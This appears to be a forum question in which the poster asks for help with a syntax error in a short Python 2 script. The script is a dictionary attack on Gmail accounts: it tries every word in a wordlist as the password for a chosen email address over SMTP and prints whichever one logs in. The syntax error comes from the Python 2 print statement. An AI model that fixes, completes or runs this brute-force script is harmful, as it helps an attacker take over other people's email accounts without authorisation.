title: I keep getting an invalid syntax error on this python code I'm trying to write. The error is on line 15 right after "\n\n\n login
body: <p>I keep getting an invalid syntax error on this python code I'm trying to write. The error is on line 15 right after <code>"\n\n\n loggin</code>   </p>
  
  <pre><code>#!/usr/bin
  import smtplib
  file_name=raw_input("Enter name of your dictionary: ")
  username=raw_input("Enter email id: ")
  f=open(file_name,"r")
  for name in f:
          try:
              session = smtplib.SMTP('smtp.gmail.com',587)
              session.starttls()
              session.ehlo
              b = session.login(username,name[:-1])
          except smtplib.SMTPAuthenticationError:
              continue
          else:
              print "\n\n\n loggin "+" - password ----&gt;&gt;&gt; "+name[:-1]+"\n\n\n\n\n"
              break
  </code></pre>